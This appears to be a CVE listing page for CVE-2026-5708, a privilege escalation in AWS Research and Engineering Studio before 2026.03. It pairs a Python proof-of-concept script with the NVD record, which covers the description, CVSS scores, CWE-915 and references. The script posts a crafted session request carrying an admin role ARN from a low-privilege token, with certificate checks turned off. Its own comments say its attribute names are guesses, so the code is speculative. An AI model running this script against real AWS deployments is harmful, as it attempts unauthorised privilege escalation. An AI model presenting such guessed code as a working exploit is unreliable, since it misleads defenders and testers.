CVE-2026-5708

#!/usr/bin/env python3 # PoC for CVE-2026-5708: Privilege Escalation in AWS RES # This script demonstrates how a crafted API request might exploit unsanitized attributes. import requests import json # Configuration TARGET_URL = "https://<aws-res-host>/api/v1/sessions" AUTH_TOKEN = "<low_priv_user_token>" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Malicious payload attempting to assume instance profile permissions # The specific attribute name depends on the actual implementation details payload = { "sessionName": "exploit_session", "instanceProfileArn": "arn:aws:iam::<account-id>:instance-profile/RES-Host-Instance-Profile", "userAttributes": { "roleArn": "arn:aws:iam::<account-id>:role/AdminRole" } } try: response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] Session created potentially with escalated privileges.") print(f"[+] Response: {response.text}") else: print("[-] Request failed.") print(f"[-] Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-5708", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-06T22:16:25.457", "lastModified": "2026-04-10T20:08:48.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unsanitized control of user-modifiable attributes in the session creation component in AWS Research and Engineering Studio (RES) prior to version 2026.03 could allow an authenticated remote user to escalate privileges, assume the virtual desktop host instance profile permissions, and interact with AWS resources and services via a crafted API request.\n\nTo remediate this issue, users are advised to upgrade to RES version 2026.03 or apply the corresponding mitigation patch to their existing environment."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:research_and_engineering_studio:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.03", "matchCriteriaId": "37A2F72E-0B0A-4D66-94DA-E0D9D336E9E1"}]}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-014-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/aws/res/issues/149", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Exploit", "Mitigation", "Issue Tracking"]}, {"url": "https://github.com/aws/res/releases/tag/2026.03", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}]}}